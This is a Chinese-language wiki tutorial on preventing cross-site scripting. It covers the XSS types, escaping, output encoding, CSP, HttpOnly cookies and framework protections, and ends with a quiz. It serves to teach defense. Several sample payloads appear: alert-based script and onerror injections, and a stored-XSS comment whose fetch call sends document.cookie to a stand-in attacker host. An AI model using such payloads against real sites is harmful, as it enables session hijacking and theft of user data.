编辑“︁XSS防护（跨站脚本攻击防护）”︁（章节）

= XSS防护（跨站脚本攻击防护） =

'''XSS（Cross-Site Scripting，跨站脚本攻击）'''是一种常见的网络安全漏洞，攻击者通过在网页中注入恶意脚本，使其在用户浏览器中执行，从而窃取用户数据、劫持会话或进行其他恶意操作。HTML XSS防护是开发者必须掌握的关键安全技能。

== XSS攻击类型 ==
XSS攻击主要分为三类：

=== 1. 反射型XSS ===
攻击者构造一个包含恶意脚本的URL，诱使用户点击后，脚本在用户浏览器执行。通常出现在搜索框、错误页面等动态内容中。

示例：
<syntaxhighlight lang="html">
<!-- 恶意URL示例 -->
http://example.com/search?query=<script>alert('XSS')</script>
</syntaxhighlight>

=== 2. 存储型XSS ===
恶意脚本被永久存储在服务器（如数据库），当其他用户访问受影响页面时自动执行。常见于评论区、论坛帖子等用户生成内容区域。

=== 3. DOM型XSS ===
完全在客户端发生的攻击，恶意脚本通过修改DOM环境而非HTML代码实现攻击。

<mermaid>
graph LR
    A[XSS类型] --> B[反射型]
    A --> C[存储型]
    A --> D[DOM型]
</mermaid>

== 防护技术 ==

=== 1. 输入验证与过滤 ===
对所有用户输入进行严格验证，移除或转义危险字符。

'''示例：基本过滤函数'''
<syntaxhighlight lang="javascript">
function sanitizeInput(input) {
    return input.replace(/</g, "&lt;")
                .replace(/>/g, "&gt;")
                .replace(/"/g, "&quot;")
                .replace(/'/g, "&#39;");
}
</syntaxhighlight>

'''输入/输出示例：'''
* 输入：<code><script>alert('XSS')</script></code>
* 输出：<code>&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</code>

=== 2. 输出编码 ===
在将数据输出到HTML前进行编码，确保浏览器将其视为数据而非代码。

'''上下文相关编码：'''
{| class="wikitable"
|-
! 输出上下文 !! 编码方式 !! 示例
|-
| HTML内容 || HTML实体编码 || <code>&amp;lt;</code> → <code>&lt;</code>
|-
| HTML属性 || HTML属性编码 || <code>"</code> → <code>&quot;</code>
|-
| JavaScript || JavaScript编码 || <code>'</code> → <code>\x27</code>
|-
| URL || URL编码 || <code>&</code> → <code>%26</code>
|}

=== 3. 使用CSP（内容安全策略） ===
CSP是强大的防护机制，通过HTTP头指定允许加载的资源来源。

'''基本CSP示例：'''
<syntaxhighlight lang="html">
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
</syntaxhighlight>

=== 4. 设置HttpOnly和Secure Cookie标志 ===
防止通过JavaScript访问敏感Cookie：
<syntaxhighlight lang="javascript">
Set-Cookie: sessionid=12345; HttpOnly; Secure
</syntaxhighlight>

== 实际案例 ==

'''案例1：评论系统漏洞'''
某博客平台的评论系统未过滤用户输入，导致存储型XSS：
<syntaxhighlight lang="html">
<!-- 恶意评论 -->
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie)
</script>
</syntaxhighlight>

'''解决方案：'''
1. 输入时过滤<script>标签
2. 输出时进行HTML实体编码
3. 设置CSP限制外部资源加载

'''案例2：DOM XSS通过URL参数'''
<syntaxhighlight lang="javascript">
// 漏洞代码
document.getElementById('output').innerHTML = 
    location.hash.substring(1);
</syntaxhighlight>

'''攻击URL：'''
<code>http://example.com#<img src=x onerror=alert(1)></code>

'''修复方案：'''
<syntaxhighlight lang="javascript">
// 安全代码
document.getElementById('output').textContent = 
    location.hash.substring(1);
</syntaxhighlight>

== 高级防护技术 ==

=== 1. 自动化扫描工具 ===
* OWASP ZAP
* Burp Suite
* Acunetix

=== 2. 框架内置防护 ===
现代框架（如React、Angular、Vue）提供自动转义机制：

'''React示例：'''
<syntaxhighlight lang="jsx">
// 自动转义，安全
<div>{userInput}</div>

// 危险：明确需要时使用dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: sanitizedHTML}} />
</syntaxhighlight>

=== 3. 数学公式示例 ===
XSS风险概率计算（假设）：

<math>
P(\text{XSS}) = 1 - \prod_{i=1}^{n}(1 - p_i)
</math>

其中<math>p_i</math>是第i个防护措施失败的概率。

== 最佳实践清单 ==
* 永远不要信任用户输入
* 实施深度防御（多层防护）
* 使用最新安全库和框架
* 定期进行安全审计
* 对所有团队成员进行安全意识培训

== 测试你的理解 ==
'''问题1：''' 以下哪种编码方式最适合用于防止HTML属性中的XSS？<br>
A) URL编码<br>
B) HTML实体编码<br>
C) JavaScript编码<br>
D) HTML属性编码<br>

'''答案：''' D) HTML属性编码

通过全面实施这些防护措施，开发者可以显著降低XSS攻击风险，保护用户数据和网站安全。记住，XSS防护不是一次性任务，而是需要持续关注和改进的过程。

[[Category:编程语言]]
[[Category:HTML]]
[[Category:HTML安全性]]